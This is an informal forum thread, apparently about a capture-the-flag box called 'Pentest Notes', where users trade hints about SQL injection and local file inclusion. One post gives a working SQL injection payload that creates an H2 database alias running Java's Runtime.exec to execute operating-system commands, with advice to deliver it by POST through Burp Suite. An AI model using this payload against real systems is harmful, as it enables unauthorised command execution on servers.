[StingEm]

Has anyone started on Pentest Notes Challenge?  I am about to start on it shortly - anyone want to work together for a solve or give guidance? 
If so join along here.

[kookie2003]

I think LFI is the way for this box but I could be wrong and it could just be CLI Injection

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[StingEm]

So - I went down a few Rabbit Holes and then been busy at work - I really have not gotten far on this yet. Has anyone been working on it - any incites?

[Steward]

So - I went down a few Rabbit Holes and then been busy at work - I really have not gotten far on this yet. Has anyone been working on it - any incites?

First find SQL Injection. It is the right path. Did you already find it?

[awwliveyet]

its way easy too solve, just use java runtime execution through a SQL alias to list files.

Hidden Content

You must register or login to view this content.

you can thank me

[Art10n]

thank you bro for sharing

---

its way easy too solve, just use java runtime execution through a SQL alias to list files.



you can thank me

execve doesn't exists in H2 database

[Art10n]

thank you bro for sharing

---

its way easy too solve, just use java runtime execution through a SQL alias to list files.



you can thank me

execve doesn't exists in H2 database

First you have to create the alias but you cannot use $$

SQL Injection' or 1=0; CREATE ALIAS EXECVE AS '
String execve(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}';-- -

[LOOOP]

Its giving 400 error when try to create and execute.

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Compromised - Malware Logs

[Art10n]

Use it in the POST and with Burp Suite

[mrranger2424]

Use it in the POST and with Burp Suite

thank you mate!!!